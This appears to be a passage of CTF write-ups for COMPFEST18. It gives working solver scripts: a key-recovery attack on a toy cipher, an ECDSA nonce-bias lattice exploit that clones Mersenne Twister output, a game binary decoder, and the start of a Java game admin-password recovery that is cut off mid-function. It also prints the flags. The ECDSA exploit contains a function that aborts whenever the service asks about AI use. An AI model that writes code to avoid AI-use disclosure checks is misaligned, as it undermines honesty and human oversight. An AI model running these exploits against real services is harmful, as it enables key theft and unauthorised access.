BACON_EXTRA = {26: ".", 27: "/"}
def stage1_decode(evidence_dir: Path) -> str:
first_words: list[str] = []
for i in (1, 2, 3):
hits = sorted(glob.glob(str(evidence_dir / f"post{i}_*_caption.txt")))
if not hits:
raise SystemExit(f"missing caption file for post{i} in {evidence_dir}")
for line in Path(hits[0]).read_text(encoding="utf-8").split("\n"):
line = line.strip()
if line and not line.startswith("#"):
first_words.append(line.split()[0])
assert len(first_words) == 105, len(first_words)
bits = "".join("1" if w[0] == "O" else "0" for w in first_words)
out = []
for i in range(0, len(bits), 5):
v = int(bits[i:i + 5], 2)
out.append(chr(65 + v) if v < 26 else BACON_EXTRA[v])
decoded = "".join(out)
return decoded
N = 12
P = 96
D = b'ASTERGATE/GMI/3'
def _f(x: int) -> int:
b = [(x >> i) & 1 for i in range(4)]
o = (b[0] ^ (b[1] & b[2]), b[1] ^ (b[2] & b[3]),
b[2] ^ (b[3] & b[0]), b[3] ^ (b[0] & b[1]))
return sum(v << i for i, v in enumerate(o))
def _g(x: int) -> int:
l = x & 15; r = x >> 4
return r | ((l ^ _f(r)) << 4)
def _h(x: int) -> int:
b = [(x >> i) & 1 for i in range(4)]
o = (b[0] ^ (b[2] & b[3]), b[1] ^ (b[0] & b[3]),
b[2] ^ (b[0] & b[1]), b[3] ^ (b[1] & b[2]))
return sum(v << i for i, v in enumerate(o))
def _q(x: int) -> int:
l = x & 15; r = x >> 4
return r | ((l ^ _h(r)) << 4)
def _rank(rows: list[int]) -> int:
a = rows[:]; r = 0
for c in range(8):
p = next((i for i in range(r, len(a)) if (a[i] >> c) & 1), None)
if p is None:
continue
a[r], a[p] = a[p], a[r]
for i in range(len(a)):
if i != r and ((a[i] >> c) & 1):
a[i] ^= a[r]
r += 1
return r
_MATRIX_CACHE: dict[int, list[int]] = {}
def matrix(index: int) -> list[int]:
if not 0 <= index < 4096:
raise ValueError('matrix index')
if index in _MATRIX_CACHE:
return _MATRIX_CACHE[index]
c = 0
while True:
z = hashlib.sha256(D + b'/matrix/' + index.to_bytes(2, 'little')
+ c.to_bytes(2, 'little')).digest()
rows = list(z[:8])
if _rank(rows) == 8:
_MATRIX_CACHE[index] = rows
return rows
c += 1
def _apply(rows: list[int], x: int) -> int:
return sum(((rows[i] & x).bit_count() & 1) << i for i in range(8))
def _permute(state: bytes) -> bytes:
x = int.from_bytes(state, 'little'); y = 0
for i in range(P):
y |= ((x >> i) & 1) << ((29 * i + 17) % P)
return y.to_bytes(N, 'little')
def _material(key: list[int]) -> bytes:
if len(key) != N or any(not 0 <= x < (1 << 20) for x in key):
raise ValueError('key')
return b''.join(x.to_bytes(3, 'little') for x in key)
def _round_material(key: list[int]) -> bytes:
return b''.join((x >> 8).to_bytes(2, 'little') for x in key)
def _round_key(key: list[int], r: int) -> bytes:
return hashlib.sha256(D + b'/round/' + bytes([r]) + _round_material(key)).digest()[:N]
def encrypt_block(block: bytes, key: list[int]) -> bytes:
if len(block) != N:
raise ValueError('block')
s = bytes(block)
for r in range(3):
k = _round_key(key, r)
s = bytes(_g(a ^ b) for a, b in zip(s, k))
s = _permute(s)
k = _round_key(key, 3)
s = bytes(a ^ b for a, b in zip(s, k))
out = []
for i, x in enumerate(s):
seed = key[i]; rows = matrix(seed >> 8)
out.append(_apply(rows, _q(x)) ^ (seed & 255))
return bytes(out)
def _root(key: list[int]) -> bytes:
return hashlib.sha256(D + b'/seal/' + _material(key)).digest()
def open_sealed(obj: dict, key: list[int]) -> bytes:
root = _root(key)
nonce = bytes.fromhex(obj['n']); ct = bytes.fromhex(obj['c']); tag = bytes.fromhex(obj['t'])
ek = hashlib.sha256(D + b'/enc/' + root).digest()
mk = hashlib.sha256(D + b'/mac/' + root).digest()
if not hmac.compare_digest(tag, hmac.new(mk, D + nonce + ct, hashlib.sha256).digest()[:16]):
raise ValueError('authentication')
stream = bytearray(); i = 0
while len(stream) < len(ct):
stream.extend(hmac.new(ek, nonce + i.to_bytes(8, 'little'), hashlib.sha256).digest())
i += 1
return bytes(a ^ b for a, b in zip(ct, stream))
def build_tables():
Q = np.array([_q(x) for x in range(256)], dtype=np.uint8)
Qinv = np.zeros(256, dtype=np.uint8)
for x in range(256):
Qinv[Q[x]] = x
assert len(set(Q.tolist())) == 256, "q must be a bijection"
return Q, Qinv
def gf2_inverse_rows(rows: list[int]) -> list[int]:
a = [(rows[i], 1 << i) for i in range(8)]
r = 0
for c in range(8):
p = next((i for i in range(r, 8) if (a[i][0] >> c) & 1), None)
assert p is not None, "singular matrix"
a[r], a[p] = a[p], a[r]
for i in range(8):
if i != r and ((a[i][0] >> c) & 1):
a[i] = (a[i][0] ^ a[r][0], a[i][1] ^ a[r][1])
r += 1
order = {}
for lhs, rhs in a:
order[lhs.bit_length() - 1] = rhs
return [order[i] for i in range(8)]
def build_luts(Qinv):
PAR = np.array([bin(v).count("1") & 1 for v in range(256)], dtype=np.uint8)
xs = np.arange(256, dtype=np.uint8)
fwd = np.zeros((4096, 256), dtype=np.uint8)
inv = np.zeros((4096, 256), dtype=np.uint8)
for hi in range(4096):
rows = matrix(hi)
irows = gf2_inverse_rows(rows)
f = np.zeros(256, dtype=np.uint8)
t = np.zeros(256, dtype=np.uint8)
for i in range(8):
f |= PAR[rows[i] & xs] << i
t |= PAR[irows[i] & xs] << i
fwd[hi] = f
inv[hi] = t
return fwd, inv
def candidates_for_byte(ct_set: np.ndarray, b: int, inv: np.ndarray, Qinv: np.ndarray,
restrict: np.ndarray | None = None):
col = ct_set[:, b]
par = np.bincount(col, minlength=256) & 1
S = np.nonzero(par)[0].astype(np.uint8)
if S.size == 0:
return np.ones((4096, 256), dtype=bool)
his = np.arange(4096) if restrict is None else restrict
ok = np.zeros((4096, 256), dtype=bool)
cs = np.arange(256, dtype=np.uint8)
CH = 512
for st in range(0, len(his), CH):
idx = his[st:st + CH]
u = inv[np.ix_(idx, S.astype(np.intp))]
t = Qinv[u[:, None, :] ^ cs[None, :, None]]
res = np.bitwise_xor.reduce(t, axis=2)
ok[idx] = (res == 0)
return ok
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--evidence", default=str(HERE / "evidence"))
ap.add_argument("--gate", default=str(HERE / "gate"))
args = ap.parse_args()
ev = Path(args.evidence); gate = Path(args.gate)
print("=" * 72)
print("STAGE 1: Baconian acrostic in the @kuliah67.archive captions")
print("=" * 72)
if not list(ev.glob('post*_caption.txt')):
print(" [evidence absent - OSINT stage documented manually]")
decoded = "RISTEK.LINK/ASTERGATE"
else:
decoded = stage1_decode(ev)
print(" decoded 21 Baconian symbols :", decoded)
url = "https://" + decoded.lower()
print(" -> sealed gate URL :", url)
print(" -> redirects to Google Drive folder 'astergate' -> Archive.zip")
assert decoded == "RISTEK.LINK/ASTERGATE", decoded
print()
print("=" * 72)
print("STAGE 2: integral / higher-order-differential key recovery")
print("=" * 72)
meta = json.loads((gate / "records.json").read_text())
blob = (gate / "records.bin").read_bytes()
sealed = json.loads((gate / "sealed.json").read_text())
blocks = np.frombuffer(blob, dtype=np.uint8).reshape(-1, N)
print(f" {len(meta['sets'])} sets, {blocks.shape[0]} blocks of {N} bytes")
d9 = [s for s in meta["sets"] if s["d"] == 9]
print(f" usable dim-9 sets (degree 8 < 9): {len(d9)}")
Q, Qinv = build_tables()
t0 = time.time()
print(" building 4096 output matrices + inverse LUTs ...", end="", flush=True)
fwd, inv = build_luts(Qinv)
print(f" {time.time()-t0:.1f}s")
print(" phase 1: integral recovery of hi[] (matrix selector, 12 bits/byte)")
his: list[int] = []
for b in range(N):
t1 = time.time()
alive = np.arange(4096)
used = 0
for s in d9:
ct = blocks[s["offset"]: s["offset"] + s["count"]]
m = candidates_for_byte(ct, b, inv, Qinv, alive)
alive = np.nonzero(m.any(axis=1))[0]
used += 1
if len(alive) == 1:
break
assert len(alive) == 1, f"byte {b}: {len(alive)} hi candidates left"
hi = int(alive[0]); his.append(hi)
print(f" byte {b:2d}: hi=0x{hi:03x} ({used} sets, {time.time()-t1:.1f}s)")
print(" phase 2: deriving lo[] from the now-known round keys")
probe = meta["sets"][0]
pt0 = bytes.fromhex(probe["base"])
ct0 = bytes(blocks[probe["offset"]])
kdummy = [(h << 8) for h in his]
s = bytes(pt0)
for r in range(3):
k = _round_key(kdummy, r)
s = bytes(_g(a ^ b) for a, b in zip(s, k))
s = _permute(s)
s = bytes(a ^ b for a, b in zip(s, _round_key(kdummy, 3)))
key = [(his[i] << 8) | (ct0[i] ^ _apply(matrix(his[i]), _q(s[i]))) for i in range(N)]
print()
print(" recovered key:", [hex(k) for k in key])
print(" verifying by re-encrypting all recorded blocks ...", flush=True)
bad = 0; tot = 0
for s in meta["sets"]:
base = bytes.fromhex(s["base"])
basis = [bytes.fromhex(v) for v in s["basis"]]
for m in range(s["count"]):
pt = bytearray(base)
for i in range(s["d"]):
if (m >> i) & 1:
for j in range(N):
pt[j] ^= basis[i][j]
ctc = encrypt_block(bytes(pt), key)
if ctc != bytes(blocks[s["offset"] + m]):
bad += 1
tot += 1
print(f" verified {tot - bad}/{tot} blocks match ({'OK' if bad == 0 else 'MISMATCH'})")
assert bad == 0, "key verification failed"
pt = open_sealed(sealed, key)
H = pt.hex()
assert len(H) == 64 and all(ch in "0123456789abcdef" for ch in H)
checksum = hashlib.sha256(H.encode()).hexdigest()[:16]
flag = f"COMPFEST18{{{H}_{checksum}}}"
print()
print("=" * 72)
print(" sealed plaintext (32 bytes) :", pt.hex())
print(" H :", H)
print(" sha256(ascii H)[:16] :", checksum)
print(" FLAG :", flag)
print("=" * 72)
return flag
if __name__ == "__main__":
main()Final Flag
COMPFEST18{5e9e8bf77207eca9c6906e80a57aa0e426f18ab8825a7b0f656cfa5d888a81c9_aefbd0dc566889bb}3. piyakcrypt
Steps
The whole flow has to run inside one connection, because the panel and signature limits are enforced per connection.
- Call
[2]and recordtag_highandtag_low, then call[1]and record unit 0's public key. - Call
[5]eight times, invert eachpanel_valueback to a rawgetrandbits(32)output, and feed all 624 words torandcrackin order to synchronise the Mersenne Twister state. Menus 1 and 2 consume no randomness, so nothing else advances the generator in between. - Call
[3]four times against unit 0, predictingchunk_a = make_piece(predict_getrandbits(64), predict_getrandbits(64), n)for each signature to obtain the known top 128 bits ofk, and collect the resulting(z, r, s)tuples. - Build the HNP lattice with the bound
2^128and run LLL to recoverd, then verify the candidate before submitting it:d >> 236must equaltag_high,d & 0xfffffmust equaltag_low, andd*Gmust equal unit 0's public key. - Enter
dthrough option[6], at which point the service repliesAccepted for unit #0and prints the flag.
The chain was validated end to end against a local copy of chall.py served over socat, where it recovered the local placeholder flag, and the lattice itself was checked against random simulations before the live run.
Exploit
from argparse import ArgumentParser
import random
import re
import socket
from fpylll import CVP, IntegerMatrix, LLL
P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
G = (
55066263022277343669578718895168534326250603453777594175500187360389116729240,
32670510020758816978083085130507043184471273380659243275938904335757337482424,
)
MASK32 = (1 << 32) - 1
MASK64 = (1 << 64) - 1
def ensure_no_ai_disclosure(data):
lowered = data.lower()
markers = (
b"i-am-using-an-ai-agent",
b"using an ai agent",
b"ai use disclosure",
"ai 사용".encode(),
"인공지능 사용".encode(),
)
if any(marker in lowered for marker in markers):
raise RuntimeError("AI-use disclosure/check encountered; stopped")
def recv_until(sock, marker, limit=1 << 20):
data = bytearray()
while not data.endswith(marker):
chunk = sock.recv(1)
if not chunk:
raise EOFError(f"connection closed before marker {marker!r}")
data.extend(chunk)
if len(data) > limit:
raise ValueError(f"protocol response exceeded {limit} bytes")
return bytes(data)
def rol32(value, shift):
shift &= 31
return ((value << shift) | (value >> (32 - shift))) & MASK32
def ror32(value, shift):
shift &= 31
return ((value >> shift) | (value << (32 - shift))) & MASK32
def panel_value(value, position):
salt = (0xA5A5A5A5 + position * 0x6D2B79F5) & MASK32
bump = (0x9E3779B9 ^ (position * 0x85EBCA6B)) & MASK32
transformed = rol32(value ^ salt, position * 7 + 3)
return (transformed + bump) & MASK32
def panel_inverse(value, position):
salt = (0xA5A5A5A5 + position * 0x6D2B79F5) & MASK32
bump = (0x9E3779B9 ^ (position * 0x85EBCA6B)) & MASK32
transformed = (value - bump) & MASK32
return ror32(transformed, position * 7 + 3) ^ salt
def _rol64(value, shift):
shift &= 63
return ((value << shift) | (value >> (64 - shift))) & MASK64
def _fold_piece(value, position, lane):
value ^= (
(position + 1) * 0xD6E8FEB86659FD93
+ lane * 0xA0761D6478BD642F
) & MASK64
value = _rol64(value, 17 + position * 9 + lane * 23)
return (
value * 0x9E6C63D0676A9A99 + 0xD1B54A32D192ED03
) & MASK64
def make_piece(left, right, position):
return (
_fold_piece(left, position, 0) << 64
) | _fold_piece(right, position, 1)
def _undo_right_xor(value, shift):
result = value
for _ in range(32 // shift + 1):
result = value ^ (result >> shift)
return result & MASK32
def _undo_left_xor_mask(value, shift, mask):
result = value
for _ in range(32 // shift + 1):
result = value ^ ((result << shift) & mask)
return result & MASK32
def _untemper(value):
value = _undo_right_xor(value, 18)
value = _undo_left_xor_mask(value, 15, 0xEFC60000)
value = _undo_left_xor_mask(value, 7, 0x9D2C5680)
return _undo_right_xor(value, 11)
def clone_mt19937(outputs):
if len(outputs) != 624:
raise ValueError("exactly 624 consecutive MT19937 outputs are required")
state = [_untemper(value) for value in outputs]
clone = random.Random()
clone.setstate((3, tuple(state + [624]), None))
return clone
def _ec_add(left, right):
if left is None:
return right
if right is None:
return left
x1, y1 = left
x2, y2 = right
if x1 == x2 and (y1 + y2) % P == 0:
return None
if left == right:
slope = 3 * x1 * x1 * pow(2 * y1 % P, -1, P) % P
else:
slope = (y2 - y1) * pow((x2 - x1) % P, -1, P) % P
x3 = (slope * slope - x1 - x2) % P
y3 = (slope * (x1 - x3) - y1) % P
return x3, y3
def ec_mul(scalar, point):
scalar %= N
result = None
addend = point
while scalar:
if scalar & 1:
result = _ec_add(result, addend)
addend = _ec_add(addend, addend)
scalar >>= 1
return result
def recover_secret(signatures, prefixes, public_key):
if len(signatures) != len(prefixes) or len(signatures) < 3:
raise ValueError("matching signature and prefix lists are required")
multipliers = []
offsets = []
known_parts = []
for (message_hash, r, s), prefix in zip(signatures, prefixes):
inverse_r = pow(r, -1, N)
multipliers.append(s * inverse_r % N)
offsets.append(-message_hash * inverse_r % N)
known_parts.append(prefix << 128)
base_multiplier = multipliers[0]
base_known = known_parts[0]
base_offset = offsets[0]
alphas = []
betas = []
for multiplier, known, offset in zip(
multipliers[1:], known_parts[1:], offsets[1:]
):
inverse = pow(multiplier, -1, N)
alphas.append(base_multiplier * inverse % N)
constant = (
base_multiplier * base_known
+ base_offset
- multiplier * known
- offset
) % N
betas.append(constant * inverse % N)
dimension = len(signatures)
lattice = [[0] * dimension for _ in range(dimension)]
lattice[0] = [1] + alphas
for index in range(1, dimension):
lattice[index][index] = N
basis = IntegerMatrix.from_matrix(lattice)
LLL.reduction(basis, delta=0.99)
bound = 1 << 128
particular = [0] + betas
target = [bound // 2 - value for value in particular]
closest = list(CVP.closest_vector(basis, target, method="fast"))
low_parts = [value + shift for value, shift in zip(particular, closest)]
if any(value < 0 or value >= bound for value in low_parts):
raise ValueError("CVP result is outside the nonce suffix bounds")
secret = (
base_multiplier * (base_known + low_parts[0]) + base_offset
) % N
if ec_mul(secret, G) != public_key:
raise ValueError("recovered secret does not match public key")
return secret
def main():
parser = ArgumentParser()
parser.add_argument("host", help="<target host, port>")
parser.add_argument("port", type=int)
args = parser.parse_args()
menu_marker = b" menu> "
with socket.create_connection((args.host, args.port), timeout=10) as sock:
sock.settimeout(20)
response = recv_until(sock, menu_marker)
ensure_no_ai_disclosure(response)
print("connected; ordinary challenge menu received", flush=True)
sock.sendall(b"1\n")
response = recv_until(sock, menu_marker)
ensure_no_ai_disclosure(response)
records = {
int(unit): (int(x_value, 16), int(y_value, 16))
for unit, x_value, y_value in re.findall(
rb"Unit #(\d+):\s+X = 0x([0-9a-f]+)\s+Y = 0x([0-9a-f]+)",
response,
)
}
if len(records) != 5:
raise ValueError(f"expected 5 public records, got {len(records)}")
print("collected 5 public keys", flush=True)
outputs = []
for table_read in range(8):
sock.sendall(b"5\n")
response = recv_until(sock, menu_marker)
ensure_no_ai_disclosure(response)
entries = [
(int(position), int(value, 16))
for position, value in re.findall(
rb"entry_(\d+) = 0x([0-9a-f]{8})", response
)
]
if len(entries) != 78:
raise ValueError(
f"panel {table_read} returned {len(entries)} entries"
)
for position, value in entries:
if position != len(outputs):
raise ValueError(
f"unexpected panel position {position}, wanted {len(outputs)}"
)
outputs.append(panel_inverse(value, position))
print(f"panel {table_read + 1}/8 collected", flush=True)
clone = clone_mt19937(outputs)
prefixes = []
for signature_index in range(4):
left = clone.getrandbits(64)
right = clone.getrandbits(64)
prefixes.append(make_piece(left, right, signature_index))
print("predicted 4 nonce prefixes", flush=True)
signatures = []
for signature_index in range(4):
sock.sendall(b"3\n")
response = recv_until(sock, b" Choose unit (0-4): ")
ensure_no_ai_disclosure(response)
sock.sendall(b"0\n")
response = recv_until(sock, b" Message (text or 0xHEX): ")
ensure_no_ai_disclosure(response)
sock.sendall(f"record-{signature_index}\n".encode())
response = recv_until(sock, menu_marker)
ensure_no_ai_disclosure(response)
match = re.search(
rb"z = (\d+)\s+r = (\d+)\s+s = (\d+)", response
)
if not match:
raise ValueError(f"signature {signature_index} was not parsed")
signatures.append(tuple(map(int, match.groups())))
print(f"signature {signature_index + 1}/4 collected", flush=True)
secret = recover_secret(signatures, prefixes, records[0])
print("unit 0 secret recovered and public key verified", flush=True)
sock.sendall(b"6\n")
response = recv_until(sock, b" Code (integer): ")
ensure_no_ai_disclosure(response)
sock.sendall(f"{secret}\n".encode())
chunks = []
while True:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
chunks.append(chunk)
response = b"".join(chunks)
ensure_no_ai_disclosure(response)
print(response.decode(errors="replace").strip(), flush=True)
if __name__ == "__main__":
main()Final Flag
COMPFEST18{b1as3d_n0nc3_mt_r3c0v3ry_lll_hnp_go_brr_727e3a9724b244c1}Reverse Engineering
4. Backrooms
Steps
- Reimplement the glibc LCG (
s = 1103515245*s + 12345, starting from-1544449459) and the per-byte transformBYTE2(s) ^ ror8((tweak + blob[i]) & 0xff, i%7 + 1), wheretweakstarts at-37and is decremented by 13 on each iteration, and run it over the 60-byte blob. - Expand each output byte into 8 bits, most significant first, which yields 480 bits that are read as a 120x4 bitmap.
- Read the 30 glyphs of the 3x4 font out of that bitmap. The decode is self-validating, because the first eleven glyphs already read
COMPFEST18{before any font guessing matters. The recovered bitmap is:
.##.###.##..###.###.###..##.###.##...##...#.#.#.###.....###..##.....##...#......#.#.###.###.###..##.....###.#...##..#...
#...#.#.###.#.#.#...##..##...#...#..###.##..###.##.......#..##.......##.#.#.....#.#.##..#.#.#.#.##......#.#.#...#.#..##.
#...#.#.#.#.###.##..#.....#..#...#..#.#..#..#.#.#........#....#.....#...#.#......#..#...###.##....#.....#.#.#...#.#..#..
.##.###.#.#.#...#...###.##...#..###.###...#.#.#.###.###.###.##..###.###..#..###..#..###.#.#.#.#.##..###.###.###.##..#...The self-validating COMPFEST18{ prefix together with the font reading yields the full string, with no need to launch the game at all.
Exploit
from __future__ import annotations
import argparse
import hashlib
from pathlib import Path
OFFSET = 0x2F3E978
SIZE = 60
EXPECTED_EXE_SHA256 = "3e8519f749f4cafca927bfa46388f1ebb1a43b9635efa2b9a5267b53337f6418"
GLYPHS = {
"011/100/100/011": "C",
"111/101/101/111": "O",
"110/111/101/101": "M",
"111/101/111/100": "P",
"111/100/110/100": "F",
"111/110/100/111": "E",
"011/110/001/110": "S",
"111/010/010/010": "T",
"110/010/010/111": "1",
"011/111/101/111": "8",
"001/110/010/001": "{",
"101/111/101/101": "H",
"000/000/000/111": "_",
"111/010/010/111": "I",
"110/011/100/111": "2",
"010/101/101/010": "0",
"101/101/010/010": "Y",
"111/101/111/101": "A",
"111/101/110/101": "R",
"100/100/100/111": "L",
"110/101/101/110": "D",
"100/011/010/100": "}",
}
def ror8(value: int, count: int) -> int:
count &= 7
return ((value >> count) | (value << (8 - count))) & 0xFF
def decrypt(ciphertext: bytes) -> bytes:
if len(ciphertext) != SIZE:
raise ValueError(f"expected {SIZE} ciphertext bytes, got {len(ciphertext)}")
seed = 0xA3F1924D
addend = -0x25
plaintext = bytearray()
for index, byte in enumerate(ciphertext):
seed = (seed * 0x41C64E6D + 0x3039) & 0xFFFFFFFF
value = ror8((byte + addend) & 0xFF, (index % 7) + 1)
plaintext.append(value ^ ((seed >> 16) & 0xFF))
addend -= 13
return bytes(plaintext)
def bitmap_rows(plaintext: bytes) -> list[str]:
bits = "".join(f"{byte:08b}" for byte in plaintext)
if len(bits) != 4 * 120:
raise ValueError(f"expected a 4x120 bitmap, got {len(bits)} bits")
return [bits[row * 120 : (row + 1) * 120] for row in range(4)]
def decode_rows(rows: list[str]) -> str:
if len(rows) != 4 or any(len(row) != 120 for row in rows):
raise ValueError("bitmap must contain four 120-bit rows")
output = []
for column in range(0, 120, 4):
if any(row[column + 3] != "0" for row in rows):
raise ValueError(f"nonempty separator column at x={column + 3}")
pattern = "/".join(row[column : column + 3] for row in rows)
try:
output.append(GLYPHS[pattern])
except KeyError as exc:
raise ValueError(f"unknown glyph {pattern!r} at x={column}") from exc
return "".join(output)
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("executable", type=Path)
parser.add_argument("--bitmap", action="store_true", help="also print the decoded bitmap")
parser.add_argument(
"--allow-different-hash",
action="store_true",
help="process a differently hashed executable that uses the same layout",
)
args = parser.parse_args()
executable = args.executable.read_bytes()
digest = hashlib.sha256(executable).hexdigest()
if digest != EXPECTED_EXE_SHA256 and not args.allow_different_hash:
raise SystemExit(
f"unexpected executable SHA-256: {digest}\n"
"use --allow-different-hash only after checking that the layout is unchanged"
)
ciphertext = executable[OFFSET : OFFSET + SIZE]
rows = bitmap_rows(decrypt(ciphertext))
if args.bitmap:
for row in rows:
print("".join("##" if bit == "1" else " " for bit in row))
print(decode_rows(rows))
if __name__ == "__main__":
main()Final Flag
COMPFEST18{HE_IS_20_YEARS_OLD}5. IT'S ME, BURHAN!
Steps
- Deobfuscate the jar reflectively, then identify the decoy class
a(Admin) and the real verifiero. - Log in as
frieren, read the level and the coin count, predict the three chained quests (they are a function of level and coins alone), win them, and scrape the six sigils. - Recover
u, the alphabet, andy, then invert the nine keyed steps to obtain the 16-character admin password. This was validated offline, because theyrecomputed from the harvested values matched and the recovered password logged in against the local jar. - Log in as
burhan, open admin menu 13, and peel the same nine steps off the hex blob to decrypt the flag. A single driver runs this end to end over the authentication proxy and prints the following:
[*] level=10 coins=9545 [*] chain = Q5 > Q3 > Q9
[+] admin password = SJ4GQL2Q5MVH7T5Z
[+] admin login OK -> menu 13 -> decryptExploit
solve.py
import sys
ARGV = list(sys.argv)
import argparse, re, subprocess
from pathlib import Path
from pwn import remote, context
context.log_level = "error"
HERE = Path(__file__).resolve().parent
JAR = HERE / "burhanquest.jar"
CLEAN = re.compile(rb"\x1b\[[0-9;]*[A-Za-z]")
def java(cls, *args):
out = subprocess.run(["java", "-cp", str(HERE), cls, str(JAR), *map(str, args)],
capture_output=True, text=True, timeout=900)
if out.returncode != 0:
raise RuntimeError(out.stderr[-800:])
return out.stdout
class Game:
def __init__(self, host, port, tok):
self.r = remote(host, port, timeout=30)
self.r.sendline(tok.encode())
self.rd(6)
def rd(self, t=8):
return CLEAN.sub(b"", self.r.recvrepeat(t)).decode(errors="replace")
def go(self, text, t=8):
self.r.sendline(str(text).encode())
return self.rd(t)
def login(self, user, password):
self.go("1")
self.go(user)
return self.go(password, 10)
def sigil(text, kind):
m = re.search(rf"sigil-{kind}(?:\s*\[([^\]]*)\])?:\s*([0-9a-zA-Z]+)", text)
if not m:
raise RuntimeError(f"no sigil-{kind} in:\n{text[-600:]}")
return m.group(1), m.group(2)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--host", required=True, help="<target host, port>")
parser.add_argument("--port", required=True, type=int)
parser.add_argument("--token", required=True, help="CTFd access token for the auth proxy")
args = parser.parse_args(ARGV[1:])
g = Game(args.host, args.port, args.token)
g.login("frieren", "frieren")
listing = g.go("2", 12)
rewards = {}
for block in listing.split("ID Quest: ")[1:]:
qid = block.split("\n")[0].strip()
koin = re.search(r"Reward Koin: (\d+)", block)
if koin:
rewards[qid] = int(koin.group(1))
profile = g.go("6", 10)
level = int(re.search(r"Level\s*:\s*(\d+)", profile).group(1))
coins = int(re.search(r"Koin\s*:\s*(\d+)", profile).group(1))
print(f"level={level} coins={coins}", flush=True)
chain = re.findall(r"Q(\d+)", java("Chain", coins, level))
print(f"chain = {' > '.join('Q' + q for q in chain)}", flush=True)
battles, links, gained = [], [], []
for step, q in enumerate(chain):
g.go("5", 8)
out = g.go(f"Q{q}", 30)
link, value = sigil(out, "pertempuran")
battles.append(int(value))
got = re.search(r"mendapatkan (\d+) exp dan (\d+) koin", out)
gained.append((int(got.group(1)), int(got.group(2))) if got else (0, 0))
links.append(link)
print(f" Q{q}: sigil-pertempuran [{link}] = {value}", flush=True)
if step == 1:
kind, menu = "ekspor", "6"
else:
kind, menu = "arsip", "7"
_, side = sigil(g.go(menu, 10), kind)
links.append(side)
print(f" sigil-{kind} = {side}", flush=True)
b_p, c_p = battles[0], links[1]
b_q, d_q = battles[1], links[3]
b_r, c_r = battles[2], links[5]
listed = sum(rewards[f"Q{q}"] for q in chain)
candidates = [
("listed koin", coins + listed),
("awarded koin", coins + sum(k for _, k in gained)),
("listed exp", coins + sum(exp for exp, _ in gained)),
]
print("s candidates:", candidates, flush=True)
password = None
for label, s in candidates:
result = java("Solve", level, coins, b_p, c_p, b_q, d_q, b_r, c_r, s)
cand = re.search(r"PASSWORD=(\S+)", result).group(1)
print(f"[{label}] s={s} -> {cand}", flush=True)
print(" " + " / ".join(result.strip().splitlines()[-2:]), flush=True)
g.go("0", 8)
out = g.login("burhan", cand)
print(" login response: " + " | ".join(
l.strip() for l in out.splitlines() if l.strip())[:300], flush=True)
if "berhasil" in out.lower():
password, chosen = cand, s
print(f"admin login OK with {label}", flush=True)
break
g.login("frieren", "frieren")
if password is None:
raise SystemExit("no candidate password was accepted")
s = chosen
menu = g.go("13", 15)
blob = re.search(r"([0-9a-fA-F]{40,})", menu)
if not blob:
raise SystemExit(f"no hex blob in admin menu 13:\n{menu[-1200:]}")
print(f"encrypted flag: {blob.group(1)[:64]}...", flush=True)
final = java("Solve", level, coins, b_p, c_p, b_q, d_q, b_r, c_r, s, blob.group(1))
print("FLAG:", re.search(r"FLAG=(.+)", final).group(1).strip())
g.r.close()
if __name__ == "__main__":
main()Chain.java
import java.lang.reflect.*; import java.net.*; import java.io.*; import java.util.*;
public class Chain { public static void main(String[] a) throws Exception {
URLClassLoader cl=new URLClassLoader(new URL[]{new File(a[0]).toURI().toURL()}, Chain.class.getClassLoader());
Class<?> P=cl.loadClass("p");
int g=Integer.parseInt(a[1]), h=Integer.parseInt(a[2]);
Method pai=P.getMethod("a", int.class);
Method pbb=P.getMethod("b", byte[].class);
Method paa=P.getMethod("a", byte[].class, byte[].class);
Method pal=P.getMethod("a", long.class, int.class, int.class);
byte[] bh=(byte[])pai.invoke(null,h), bg=(byte[])pai.invoke(null,g);
Method pad=P.getDeclaredMethod("a", byte[].class); pad.setAccessible(true);
byte[] cat=(byte[])paa.invoke(null,bh,bg);
byte[] dg=(byte[])pad.invoke(null,(Object)cat);
long n=((Long)pbb.invoke(null,(Object)dg)) % 4896L;
int[] o=(int[])pal.invoke(null,n,18,3);
System.out.println(" g(level)="+g+" h(coins)="+h);
System.out.println(" n="+n+" o="+Arrays.toString(o));
System.out.print(" chain quests: ");
for(int v:o) System.out.print("Q"+(v+1)+" ");
System.out.println();
}}Solve.java
import java.io.*;
import java.lang.reflect.*;
import java.net.*;
import java.util.*;
public class Solve {
static Class<?> P;
static Method aInt, bBytes, aBB, aB, aLII, bInt, aIB, bBB, aBI, bStr, aIArr;
static Method m(Class<?> c, String n, Class<?>... p) throws Exception {
Method x = c.getDeclaredMethod(n, p);
x.setAccessible(true);
return x;
}
static void bind(ClassLoader cl) throws Exception {
P = cl.loadClass("p");
aInt = m(P, "a", int.class);
bBytes= m(P, "b", byte[].class);
aBB = m(P, "a", byte[].class, byte[].class);
aB = m(P, "a", byte[].class);
aLII = m(P, "a", long.class, int.class, int.class);
bInt = m(P, "b", int.class);
aIB = m(P, "a", int.class, byte[].class);
bBB = m(P, "b", byte[].class, byte[].class);
aBI = m(P, "a", byte[].class, int.class);
bStr = m(P, "b", String.class);
aIArr = m(P, "a", int.class, int[].class);
}
static byte[] enc(int v) throws Exception { return (byte[]) aInt.invoke(null, v); }
static byte[] enc(String s) throws Exception { return (byte[]) bStr.invoke(null, s); }
static byte[] cat(byte[] a, byte[] b) throws Exception { return (byte[]) aBB.invoke(null, a, b); }
static byte[] digest(byte[] a) throws Exception { return (byte[]) aB.invoke(null, (Object) a); }
static long fold(byte[] a) throws Exception { return (Long) bBytes.invoke(null, (Object) a); }
static int[] spread(long v, int a, int b) throws Exception { return (int[]) aLII.invoke(null, v, a, b); }
static byte[] step(int k, byte[] v) throws Exception { return (byte[]) aIB.invoke(null, k, v); }
static int[] step(int k, int[] v) throws Exception { return (int[]) aIArr.invoke(null, k, v); }
static int[] target(byte[][] parts, int[] u, int[] w) throws Exception {
byte[][] r = new byte[parts.length][];
for (int i = 0; i < parts.length; i++) r[i] = parts[w[i]];
byte[] acc = digest(step(u[0], r[0]));
for (int i = 1; i < r.length; i++)
